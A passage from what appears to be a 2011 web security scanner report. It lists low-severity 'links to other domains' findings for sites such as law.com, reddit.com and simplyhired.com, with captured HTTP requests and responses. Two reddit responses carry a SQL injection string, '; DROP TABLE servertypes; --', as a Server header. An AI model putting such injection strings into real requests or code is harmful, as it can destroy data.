Host: www.law.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.goclio.com/our_customers/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
Content-Type: text/html;charset=iso-8859-1
New_Hostname: /jsp/lawtechnologynews/index.jsp@id=1202433024186&Clio_Keeps_Solo_on_Top_of_Her_Practice
Vary: Accept-Encoding
Content-Length: 67592
New_Hostname: /jsp/lawtechnologynews/index.jsp@id=1202433024186&Clio_Keeps_Solo_on_Top_of_Her_Practice
Expires: Mon, 19 Sep 2011 20:27:19 GMT
Date: Mon, 19 Sep 2011 20:27:19 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>Legal Technology News & Updates | Law Technology News </title>

<meta http-
...[SNIP]...
</script>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://html5.kaltura.org/js"></script>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://alm.122.2o7.net/b/ss/almMainDev/1/H.21--NS/0" height="1" width="1" border="0" alt="" /></a>
...[SNIP]...
<noscript>
   <a href="http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=728a;ptype=56;tile=1;sz=728x90" target="_blank">
   <img src="http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=728a;ptype=56;tile=1;sz=728x90?"></a>
...[SNIP]...
<li id="events"><a href="http://www.legaltechdirectory.com/event">Events</a></li>
<li id="directory"><a target="_blank" href="http://www.legaltechdirectory.com/">LegalTech<span class="copyright">
...[SNIP]...
<li><a name="lpos=legal tech directory:more" href="http://legaltechdirectory.com/">View All</a>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/ricpb4"><b>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/ltd0123"><b>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/rbrBSc"><b>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/n5QjkE"><b>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/qakmpd"><i>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/r9OImd"><i>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/pSou5X"><i>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/n3tD5F"><b>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/nK2kCn"><b>
...[SNIP]...
<p><a target="_blank" href="http://bit.ly/qF6jIF"><b>
...[SNIP]...
<cite>Listings powered by <a name="lpos=legal tech directory" href="http://www.legaltechdirectory.com">LegalTechDirectory.com</a>
...[SNIP]...
<li id="legaltech_show" class="show">
<a name="lpos=legal tech show:image&lid=legal tech show_image" href="http://www.legaltechshow.com/r5/cob_page.asp?category_id=65264&initial_file=cob_page-ltech.asp" target="_blank"><img src="/img/ltn_10/legaltech_logo.png" border="0" alt="LegalTech" />
...[SNIP]...
<div class="button_legaltech"><a name="lpos=legal tech show:image&lid=legal tech show-learn more_image" href="http://www.legaltechshow.com/r5/cob_page.asp?category_id=65264&initial_file=cob_page-ltech.asp" target="_blank"><img src="/img/ltn_10/button_lt_learnmore.png" border="0" alt="Learn More" />
...[SNIP]...
<li id="legaltech_virtual">
<a name="lpos=legal tech virtual:image&lid=legal tech virtual_image" href="http://www.virtuallegaltechshow.com" target="_blank"><img src="/img/ltn_10/legaltechv_logo.png" border="0" alt="Virtual LegalTech" />
...[SNIP]...
<p>
Virtual LegalTech is an online experience that includes presentations, virtual booths, online networking, chatting, blogs, and more <a name="lpos=legal tech virtual:more" href="http://www.virtuallegaltechshow.com/r5/home.asp" target="_blank">...continue reading</a>
...[SNIP]...
<div class="button_legaltech"><a name="lpos=legal tech virtual:image&lid=legal tech virtual-register_image" href="http://www.virtuallegaltechshow.com/r5/cob_page.asp?category_code=register" target="_blank"><img src="/img/ltn_10/button_lt_register.png" border="0" alt="Register Today" />
...[SNIP]...
<div class="button_legaltech"><a name="lpos=legal tech virtual:image&lid=legal tech virtual-learn more_image" href="http://www.virtuallegaltechshow.com/r5/home.asp" target="_blank"><img src="/img/ltn_10/button_lt_learnmore.png" border="0" alt="Learn More" />
...[SNIP]...
<li><a name="lpos=ltn magazine" href="http://www.lawtechnews-digital.com">Digital Edition</a>
...[SNIP]...
<li><a name="lpos=ltn magazine" href="https://www.sunbeltfs.com/forms/lt/subscribe.asp?eid=KWSITE">Subscribe</a>
...[SNIP]...
<li><a name="lpos=ltn magazine" href="http://itunes.apple.com/app/law-technology-news/id428975199?mt=8">App for iPad/iPhone</a>
...[SNIP]...
<noscript>
   <a href="http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=300a;ptype=56;tile=6;sz=300x250" target="_blank">
   <img src="http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=300a;ptype=56;tile=6;sz=300x250?"></a>
...[SNIP]...
<li class="twitter"><a name="lpos=ltn everyday" href="http://twitter.com/lawtechnews">twitter</a>
...[SNIP]...
<td class="blogTitle" valign="top"><a target="new" style="font-weight: bold; font-size: 17px; margin: 10px 0pt 5px; color: rgb(66,66,66); font-family: Helvetica Neue,Arial,Sans-serif; text-decoration: none" href="http://lawyerist.com/law-firm-apps/">Law Firm Apps: Useful Tools or Useless Promotion?</a>
...[SNIP]...
one/Android app? These apps are popping up through various law firms and solo practitioners across the internet. Online software has opened the door for people to create their own customized apps ... [<a target="new" href="http://lawyerist.com/law-firm-apps/">MORE</a>
...[SNIP]...
<li class="blogNet"><a target='_new' href="http://commonscold.typepad.com/ltn4products/2011/08/httpmediaprnewswirecomenjsplatestjspresourceid4711837accessehpress-release-epson-the-number-one-selling-projec.html">Epson Projects 3 New Projectors into the Market</a>
...[SNIP]...
<span class="blogSourceLine">
<a class="source"href="http://commonscold.typepad.com">LTN for Products</a>
...[SNIP]...
<li class="blogNet"><a target='_new' href="http://trial-technology.blogspot.com/2011/09/blawgs-quality-or-quantity.html">Blawgs: Quality or Quantity?</a>
...[SNIP]...
<span class="blogSourceLine">
<a class="source"href="http://trial-technology.blogspot.com">Court Technology and Trial Presentation</a>
...[SNIP]...
<li class="blogNet"><a target='_new' href="http://www.shearsocialmedia.com/2011/09/ftc-may-soon-crack-down-on-social-media.html">The FTC May Soon Crack Down On Social Media Credential Fraud</a>
...[SNIP]...
<span class="blogSourceLine">
<a class="source"href="http://www.shearsocialmedia.com">Shear on Social Media Law</a>
...[SNIP]...
<li class="blogNet"><a target='_new' href="http://feedproxy.google.com/~r/iphonejd/kBay/~3/cqjmj3mSgI0/belkin-products-50-off.html">Belkin products 50% off</a>
...[SNIP]...
<span class="blogSourceLine">
<a class="source"href="http://feedproxy.google.com">iPhone JD</a>
...[SNIP]...
<li class="twitter">
                       <a name="lpos=legal tech directory:twitter" href="http://twitter.com/lawtechnews">twitter</a>
...[SNIP]...
<li><a name="lpos=tech tweets" href="http://twitter.com/lawtechnews">follow LTN on twitter</a> | <a name="lpos=tech tweets" href="http://twitter.com/ltntechtweets/homepage">view full feed »</a>
...[SNIP]...
<noscript>
   <a href="http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=300b;ptype=56;tile=6;sz=300x250" target="_blank">
   <img src="http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=300b;ptype=56;tile=6;sz=300x250?"></a>
...[SNIP]...
<div align="left" id="first" style="margin:0;">

<script type="text/javascript" src="http://careers.lawjobs.com/js/xmlScrollView.js"></script>

<script type="text/javascript" src="http://careers.lawjobs.com/qjs?clientid=lawjobs&stringVar=xmlString&kOrTitle=partner%2C+attorney%2C+judge%2C+litigator%2C+counsel%2C+lawyer%2C+associate%2C+dean%2C&kAndEntire=;country=United+States;state=;jobSources=litigationsupport/IT;&pageSize=2&outFormat=jsxml&nopageview=1&nouniquevisitor=1"></script>
...[SNIP]...
<p><a href="http://careers.lawjobs.com/jobs/browse" title="Legal Jobs at lawjobs.com">MORE JOBS</a></p>
<p><a href ="http://www.lawjobs.com/job_posting_opportunities.asp">POST A JOB</a>
...[SNIP]...
<noscript>
   <a href="http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=spota;ptype=56;tile=15;sz=600x600" target="_blank">
   <img src="http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=spota;ptype=56;tile=15;sz=600x600?"></a>
...[SNIP]...
<li><a class="footer_links" href="http://www.ctlawtribune.com">Connecticut Law Tribune</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.dailybusinessreview.com/">Daily Business Review (FL)</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.delawarelawweekly.com">Delaware Law Weekly</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.dailyreportonline.com">Daily Report (GA)</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.gcnewyork.com">GC New York</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.nylj.com/nylawyer">New York Lawyer</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.almexperts.com">ALM Experts</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.legaltechdirectory.com/">LegalTech<span class="regLaw">
...[SNIP]...
<li><a class="footer_links" href="http://www.nlj.com/profiles">The National Law Journal Leadership Profiles</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.lawjournalnewsletters.com">Law Journal Newsletters</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.lawcatalog.com/default.cfm?affil=2312863">LawCatalog</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.lawjournalpress.com">Law Journal Press Online</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.almlegalintel.com">ALM Legal Intelligence</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.almexperts.com/litigation/Court Reporters/LitExpert/1125822">Court Reporters</a>
...[SNIP]...
<li><a class="footer_links" href="https://www.ma3000.com">MA 3000</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.verdictsearch.com">Verdict Search</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.almexperts.com">ALM Experts</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.smartlitigator.com">Smart Litigator</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.almevents.com">ALM Events</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.legaltechshow.com">LegalTech<span class="regLaw">
...[SNIP]...
<li><a class="footer_links" href="http://www.virtuallegaltechshow.com">Virtual LegalTech<span class="regLaw">
...[SNIP]...
<li><a class="footer_links" href="http://www.virtualcorporatecounselforum.com">Virtual Events</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.insightinfo.com">Insight Information</a>
...[SNIP]...
<li><a class="footer_links" href="http://clecenter.com">CLE Center</a>
...[SNIP]...
<li><a class="footer_links" href="http://www.lawjobs.com">Lawjobs</a>
...[SNIP]...
<div class="footernav">
   <a href="http://www.alm.com/">About ALM</a>
...[SNIP]...
<div class="logo"><a href="http://www.alm.com/"><img src="http://www.law.com/img/universal/alm_footer_logo2009.gif" border="0" />
...[SNIP]...

12.36. https://www.merchantlink.com/logon/log_log_page.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merchantlink.com
Path:	/logon/log_log_page.jsp

Issue detail

The page was loaded from a URL containing a query string:

https://www.merchantlink.com/logon/log_log_page.jsp?CTAuthMode=BASIC&CT_ORIG_URL=https%3A%2F%2Fwww.merchantlink.com%3A443%2FBizPortal%2F&ct_orig_uri=%2FBizPortal%2F

The response contains the following links to other domains:

https://sealserver.trustkeeper.net/compliance/seal.php?code=w6opVcxxrhnnVGcTgYfZ1FWOOTLBnG
https://sealserver.trustkeeper.net/compliance/seal_js.php?code=w6opVcxxrhnnVGcTgYfZ1FWOOTLBnG

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 18:55:18 GMT
WWW-Authenticate: Basic realm="CT"
Content-Type: text/html; charset=ISO-8859-1
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 11091

<!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/TR/html4/loose.dtd">



<!-- Product Name: log
...[SNIP]...
<td width="135">
<script src="https://sealserver.trustkeeper.net/compliance/seal_js.php?code=w6opVcxxrhnnVGcTgYfZ1FWOOTLBnG"></script>
...[SNIP]...
<a href="http://sealserver.trustkeeper.net/compliance/cert.php?code=w6opVcxxrhnnVGcTgYfZ1FWOOTLBnG" target="hATW"><img alt="Trusted Commerce" border="0" src="https://sealserver.trustkeeper.net/compliance/seal.php?code=w6opVcxxrhnnVGcTgYfZ1FWOOTLBnG"/></a>
...[SNIP]...

12.37. http://www.pedigolaw.com/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pedigolaw.com
Path:	/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.pedigolaw.com/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js?ver=3.2.1

The response contains the following links to other domains:

http://platform.twitter.com/widgets.js
http://twitter.com/share
http://www.apple.com/qtactivex/qtplugin.cab
http://www.facebook.com/plugins/like.php?locale=en_US&href='+location.href+'&layout=button_count&show_faces=true&width=500&action=like&font&colorscheme=light&height=23

Request

GET /wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js?ver=3.2.1 HTTP/1.1
Host: www.pedigolaw.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.pedigolaw.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:27:22 GMT
Server: Apache
Last-Modified: Tue, 03 May 2011 14:52:29 GMT
ETag: "458876-5bd4-4a2604a014540"
Accept-Ranges: bytes
Content-Length: 23508
Content-Type: application/javascript

/* ------------------------------------------------------------------------
   Class: prettyPhoto
   Use: Lightbox clone for jQuery
   Author: Stephane Caron (http://www.no-margin-for-errors.com)
   Version:
...[SNIP]...
</object>',quicktime_markup:'<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" codebase="http://www.apple.com/qtactivex/qtplugin.cab" height="{height}" width="{width}"><param name="src" value="{path}">
...[SNIP]...
<div class="twitter"><a href="http://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="facebook"><iframe src="http://www.facebook.com/plugins/like.php?locale=en_US&href='+location.href+'&layout=button_count&show_faces=true&width=500&action=like&font&colorscheme=light&height=23" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:23px;" allowTransparency="true"></iframe>
...[SNIP]...

12.38. http://www.reddit.com/static/button/button1.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/static/button/button1.html

Issue detail

The page was loaded from a URL containing a query string:

http://www.reddit.com/static/button/button1.html?width=120&url=http%3A%2F%2Flawyerist.com%2Fclio-sync-outlook%2F

The response contains the following link to another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js

Request

GET /static/button/button1.html?width=120&url=http%3A%2F%2Flawyerist.com%2Fclio-sync-outlook%2F HTTP/1.1
Host: www.reddit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/clio-sync-outlook/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 19 Sep 2011 18:23:17 GMT
Server: '; DROP TABLE servertypes; --
Content-Length: 2003
Vary: Accept-Encoding
Cache-Control: max-age=59
Date: Mon, 19 Sep 2011 20:27:32 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" >
<head>

...[SNIP]...
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

12.39. http://www.reddit.com/static/button/button2.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/static/button/button2.html

Issue detail

The page was loaded from a URL containing a query string:

http://www.reddit.com/static/button/button2.html?width=51&url=http%3A%2F%2Flawyerist.com%2Fclio-sync-outlook%2F

The response contains the following link to another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js

Request

GET /static/button/button2.html?width=51&url=http%3A%2F%2Flawyerist.com%2Fclio-sync-outlook%2F HTTP/1.1
Host: www.reddit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/clio-sync-outlook/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 19 Sep 2011 18:23:17 GMT
Server: '; DROP TABLE servertypes; --
Content-Length: 1588
Vary: Accept-Encoding
Cache-Control: max-age=60
Date: Mon, 19 Sep 2011 20:27:32 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" >
<head>

...[SNIP]...
</script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

12.40. http://www.simplyhired.com/a/accounts/login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/accounts/login

Issue detail

The page was loaded from a URL containing a query string:

http://www.simplyhired.com/a/accounts/login?f=%2Fa%2Fjobs%2Flist%2Fq-xss

The response contains the following links to other domains:

http://edge.quantserve.com/quant.js
http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D4; path=/; domain=.simplyhired.com
Set-Cookie: shua=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 4085

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Login |
...[SNIP]...

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

12.41. http://www.simplyhired.com/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5

Issue detail

The page was loaded from a URL containing a query string:

http://www.simplyhired.com/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5?partner=cio&stylesheet=http%3A%2F%2Fwww.cio.com%2Fdocuments%2Fsimply-hired-homepage.css&color_title=%23003366&color_location=%239c9c9c&color_company=%23000000&header=

The response contains the following links to other domains:

http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif
http://www.cio.com/documents/simply-hired-homepage.css

Request

GET /a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5?partner=cio&stylesheet=http%3A%2F%2Fwww.cio.com%2Fdocuments%2Fsimply-hired-homepage.css&color_title=%23003366&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1316477965.2; __utmz=270297075.1316477965.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmb=270297075.2.10.1316477965; __utmc=270297075

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:32:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Via: Simply Cache
Content-Length: 7730

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
</style>
<link rel="stylesheet" type="text/css" href="http://www.cio.com/documents/simply-hired-homepage.css" />
</head>
...[SNIP]...

<img src="http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>

...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-onet%3A(15-1)%20OR%20onet%3A(17-2)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5

Issue detail

The page was loaded from a URL containing a query string:

http://www.simplyhired.com/a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5?partner=computerworld&stylesheet=http%3A%2F%2Fwww.computerworld.com%2Fresources%2Fsimply-hired-homepage.css%3F20100409&color_title=%231752A3&color_location=%239c9c9c&color_company=%23656565&header=

The response contains the following links to other domains:

http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif
http://www.computerworld.com/resources/simply-hired-homepage.css?20100409

Request

GET /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5?partner=computerworld&stylesheet=http%3A%2F%2Fwww.computerworld.com%2Fresources%2Fsimply-hired-homepage.css%3F20100409&color_title=%231752A3&color_location=%239c9c9c&color_company=%23656565&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1316477965.2; __utmz=270297075.1316477965.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmb=270297075.3.10.1316477965; __utmc=270297075

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:33:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Via: Simply Cache
Content-Length: 6842

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
</style>
<link rel="stylesheet" type="text/css" href="http://www.computerworld.com/resources/simply-hired-homepage.css?20100409" />
</head>
...[SNIP]...

<img src="http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>

...[SNIP]...

12.43. http://www.simplyhired.com/a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5

Issue detail

The page was loaded from a URL containing a query string:

http://www.simplyhired.com/a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5?partner=itworld&color_title=%23FE4E00&color_location=%239c9c9c&color_company=%23000000&header=

The response contains the following link to another domain:

http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif

Request

GET /a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5?partner=itworld&color_title=%23FE4E00&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1312579735.1; __utmz=270297075.1312579735.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:26:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Via: Simply Cache
Content-Length: 6926

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...

<img src="http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>

...[SNIP]...

12.44. http://www.spro.com/Default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.spro.com
Path:	/Default.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.spro.com/Default.asp?Redirected=Y

The response contains the following links to other domains:

